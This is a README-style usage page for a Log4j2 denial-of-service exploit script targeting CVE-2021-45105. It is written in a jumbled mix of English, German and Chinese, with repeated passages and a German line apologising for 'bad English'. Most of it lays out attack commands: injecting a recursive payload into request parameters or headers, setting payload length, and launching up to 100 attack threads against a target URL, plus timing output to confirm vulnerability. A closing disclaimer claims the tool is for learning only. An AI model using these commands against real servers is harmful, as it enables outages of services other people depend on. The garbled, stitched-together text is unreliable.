
log4j2 DoS-Exploit,CVE-2021-45105 Exploit,Denial-of-Service-PoC
author: 我超怕的
blog: https://www.cnblogs.com/iAmSoScArEd/
github: https://github.com/iAmSOScArEd/
date: 2021-12-20
Log4j2 DOS Exploit
Log4j2 DOS-Exploit-Skript
CVE-2021-45105 Exploit
CVE-2021-45105 Exploit-Skript
Log4j2_dos.py -u <url> -m <method> -d <params> -H <header> -l <loop> -t <thread>
-u,--url attack target
-m,--method http method, only get and post. default is get.
-d,--data get or post params, json format like:{\"username\":\"\"}
-H,--header request header, json format like:{\"user-agent\":\"\"}
-l,--loop payload loop times (or length),default 100.it is determine where is the params, example get param max length or post param max length or request header max length
-t,--thread attack thread. default is 0, just request once.
usage:
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"}
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"} -l 500 -t 100
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -l 500
Log4j2_dos.py -u http://url.com/ -m post -H {\"user-agent\":\"\"} -l 500 -t 100
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -H {\"user-agent\":\"\"} -l 500
-l (--loop) Der Wert muss je nach Szenario separat festgelegt werden, größer ist nicht unbedingt besser. Wenn er die maximal akzeptable Länge des Webservers überschreitet, kann der Angriffserkennung fehlschlagen und keine Wirkung erzielen.
Ausgabeformat:
[+] normal time:0.11111
[+] attack time:2.00000
Wenn attack time - normal time > 1 oder ähnlich, könnte eine Schwachstelle vorliegen. Verwenden Sie den Parameter -t, um die Angriffsthreads festzulegen.
Log4j2_dos.py -u <url> -m <method> -d <params> -H <header> -l <loop> -t <thread>
-u,--url 攻击目标
-m,--method 默认为get,http方式,仅支持get和post
-d,--data get或post请求参数,json格式,如:{\"username\":\"\"}
-H,--header 请求头, json格式, 如:{\"user-agent\":\"\"}
-l,--loop 默认为100,payload循环长度,根据参数在不同的位置,设置不同的数值,如请求头最大允许长度、get最大长度、post最大长度
-t,--thread 默认为0,表示仅请求一次。攻击线程。
常见用法:
# 默认get,100个payload循环,攻击探测一次,在username参数中添加攻击payload
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"}
# 默认get,设置500个payload循环,发起100个攻击线程,在username参数中添加攻击payload
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"} -l 500 -t 100
# 指定POST,设置500个payload循环,攻击探测一次,在username参数中添加攻击payload
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -l 500
# 指定POST,设置500个payload循环,发起100个攻击线程,在user-agent请求头中添加攻击payload
Log4j2_dos.py -u http://url.com/ -m post -H {\"user-agent\":\"\"} -l 500 -t 100
# 指定POST,设置500个payload循环,攻击探测一次,在username参数和user-agent请求头中添加攻击payload
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -H {\"user-agent\":\"\"} -l 500
-l (--loop) Der Wert muss je nach Szenario separat festgelegt werden, größer ist nicht unbedingt besser. Wenn er die maximal akzeptable Länge des Webservers überschreitet, kann die Angriffserkennung fehlschlagen und keine Wirkung erzielen.
Ausgabeformat:
[+] normal time:0.11111
[+] attack time:2.00000
Wenn die Verzögerung der Angriffszeit groß ist, ist die Schwachstelle vorhanden; Sie können den Parameter -t verwenden, um die Angriffsthreads festzulegen.
Nicht für illegale Zwecke verwenden, nur zur Referenz und zum Lernen.
Jegliches illegale Verhalten hat nichts mit mir zu tun.
(Schlechtes Englisch, keine Übersetzung verwendet, bitte nachsichtig sein.)
Von:我超怕的